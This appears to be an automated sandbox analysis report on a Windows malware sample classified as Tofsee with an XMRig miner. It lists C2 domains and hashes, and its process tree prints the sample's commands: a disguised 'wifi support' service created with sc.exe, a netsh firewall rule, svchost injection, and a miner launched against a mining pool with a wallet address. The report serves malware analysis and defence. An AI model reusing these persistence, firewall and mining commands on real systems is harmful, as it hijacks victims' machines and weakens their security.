Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/11/2022, 22:49

General

  • Target
    file.exe
  • Size 195KB
  • Sample221115-2rnmsacb61
  • SHA256 08f14369c26b67f07731b049dba973759bb8da2c5f47bcbc0ec43454579d9ca3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4336
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gulehjdz\
      2⤵
        PID:1340
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ciapune.exe" C:\Windows\SysWOW64\gulehjdz\
        2⤵
          PID:2300
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gulehjdz binPath= "C:\Windows\SysWOW64\gulehjdz\ciapune.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:672
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gulehjdz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4420
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gulehjdz
          2⤵
          • Launches sc.exe
          PID:1644
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4724
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4336 -s 1044
          2⤵
          • Program crash
          PID:4688
      • C:\Windows\SysWOW64\gulehjdz\ciapune.exe
        C:\Windows\SysWOW64\gulehjdz\ciapune.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5040
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4532
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3224
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 5040 -s 528
          2⤵
          • Program crash
          PID:4668
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4336 -ip 4336
        1⤵
          PID:3740
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 5040 -ip 5040
          1⤵
            PID:4588

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                ciapune.exe

                • Path C:\Users\Admin\AppData\Local\Temp\ciapune.exe
                • Size 13.4MB
                • SHA256 89a7a1d0f28fda9ac691cd92322caf9569cd5532c403e0caa6f10e1f3b4ad557
                • MD5 SHA1 SHA512 SSDEEP

                ciapune.exe

                • Path C:\Windows\SysWOW64\gulehjdz\ciapune.exe
                • Size 13.4MB
                • SHA256 89a7a1d0f28fda9ac691cd92322caf9569cd5532c403e0caa6f10e1f3b4ad557
                • MD5 SHA1 SHA512 SSDEEP

                memory/3224-178-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                memory/3224-173-0x0000000000E00000-0x0000000000EF1000-memory.dmp

                memory/4336-134-0x0000000000400000-0x0000000000596000-memory.dmp

                memory/4336-150-0x0000000000719000-0x000000000072A000-memory.dmp

                memory/4336-132-0x0000000000719000-0x000000000072A000-memory.dmp

                memory/4336-151-0x0000000000400000-0x0000000000596000-memory.dmp

                memory/4336-133-0x0000000000610000-0x0000000000623000-memory.dmp

                memory/4532-149-0x0000000000BE0000-0x0000000000BF5000-memory.dmp

                memory/4532-169-0x0000000002FD0000-0x0000000002FD7000-memory.dmp

                memory/4532-152-0x0000000000BE0000-0x0000000000BF5000-memory.dmp

                memory/4532-144-0x0000000000BE0000-0x0000000000BF5000-memory.dmp

                memory/4532-154-0x0000000002A00000-0x0000000002C0F000-memory.dmp

                memory/4532-157-0x0000000000FF0000-0x0000000000FF6000-memory.dmp

                memory/4532-160-0x0000000002160000-0x0000000002170000-memory.dmp

                memory/4532-163-0x00000000021F0000-0x00000000021F5000-memory.dmp

                memory/4532-166-0x0000000007980000-0x0000000007D8B000-memory.dmp

                memory/5040-148-0x0000000000400000-0x0000000000596000-memory.dmp

                memory/5040-153-0x0000000000400000-0x0000000000596000-memory.dmp

                memory/5040-147-0x0000000000922000-0x0000000000932000-memory.dmp